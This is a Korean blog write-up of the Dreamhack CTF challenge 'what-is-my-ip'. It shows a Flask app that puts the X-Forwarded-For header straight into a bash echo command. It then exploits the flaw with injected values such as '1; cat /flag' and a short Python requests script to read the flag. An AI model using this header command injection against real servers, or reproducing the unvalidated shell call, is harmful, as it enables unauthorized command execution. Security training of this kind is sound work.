Dreamhack

[Dreamhack] what-is-my-ip 풀이

minnggyuu 2024. 5. 23. 18:03

what-is-my-ip

 

How are they aware of us even behind the wall..?

어떻게 그들이 우리를 알고 있냐 벽 뒤에 있음에도..(?) 영어못함

 

그들이 우리 ip를 어떻게 알고 있냐 라고 물어보는 것 같은 그냥 제 생각이구요

Flag는 /flag에 있다고 하네요~

 

문제 페이지이다. 들어가면 제 ip가 출력되는 모습을 볼 수 있다.

 

암튼 소스 분석 ㄱㄱ

 

#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template

app = Flask(__name__)
app.secret_key = os.urandom(64)


@app.route('/')
def flag():
    user_ip = request.access_route[0] if request.access_route else request.remote_addr
    try:
        result = run(
            ["/bin/bash", "-c", f"echo {user_ip}"],
            capture_output=True,
            text=True,
            timeout=3,
        )
        return render_template("ip.html", result=result.stdout)

    except TimeoutExpired:
        return render_template("ip.html", result="Timeout!")


app.run(host='0.0.0.0', port=3000)

 

최상단(/) 에는 flag라는 함수가 정의되어 있다. 

 

request.access_route에서 첫 번째 요소를 user_ip라는 변수에 저장한다. 없으면 request.remote_addr 값을 저장한다.

 

request.access_route는 클라이언트가 서버에 접근하기 위해 거친 프록시 서버들의 IP주소 목록을 반환한다. 

 

@cached_property
    def access_route(self) -> list[str]:
        """If a forwarded header exists this is a list of all ip addresses
        from the client ip to the last proxy server.
        """
        if "X-Forwarded-For" in self.headers:
            return self.list_storage_class(
                parse_list_header(self.headers["X-Forwarded-For"])
            )
        elif self.remote_addr is not None:
            return self.list_storage_class([self.remote_addr])
        return self.list_storage_class()

 

access_route를 구성하는 코드이다. 

access_route는 X-Forwarded-For라는 헤더를 파싱하는 모습을 볼 수 있다. 

 

그럼  X-Forwarded-For은 뭐하는 거냐?

 

X-Forwarded-For(XFF)는 HTTP 헤더 중 하나로, 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별한다.

 

ex) | 클라이언트 | -> | 프록시1 | -> | 프록시2 | -> | 서버 | 라는 요청이 있다면,

X-Forwarded-For: '클라이언트 IP', '프록시 1 IP', '프록시 2 IP' 가 된다.

 

참고 : https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-For 

 

그렇게 access_route는 X-Forwareded-For 헤더를 가져오고, 

여기서는 request.access_route[0]을 user_ip에 저장하므로 0번째인 클라이언트 IP가 저장될 것이다. 

 

현재 문제의 소스코드는 request.access_route[0]를 user_ip 에 그대로 저장하고 있고,

검증을 하지 않은 채 ["/bin/bash", "-c", f"echo {user_ip}"] 를 실행시키는 모습을 볼 수 있다. (내가 뭘 넣을 줄 알고)

 

따라서 X-Forwarded-For 이라는 헤더를 추가해 cat /flag를 실행시킬 수 있는 명령을 집어넣으면 되겠다. 

 

Burp Suite를 이용

 

Burp suite를 이용해 X-Forwarded-For이라는 헤더를 추가해 1; cat /flag를 넣었다. ( |, ||, && 사용해도 됨)

1; cat /flag를 넣으면 최종 식이 f"echo 1; cat /flag" 가 되어 1을 출력하고 cat /flag를 수행하게 된다.

 

아 참고로 X-Forwarded-For 헤더는 어디에든 삽입해도 되는데 마지막 줄 Connection: close 위에만 해주면 된다

echo 1; cat /flag

 

 

파이썬을 이용해서 request를 보내서 flag를 얻을 수도 있다. 

import requests

url = "http://host3.dreamhack.games:PORT/"

header = {"X-Forwarded-For":"8.8.8.8 | cat /flag"}

r = requests.get(url, headers=header)
print(r.text)

 

임의로 header를 만들어 보내줬다.

 

 

도움이 된 글 : https://spoqa.github.io/2012/01/16/wsgi-and-flask.html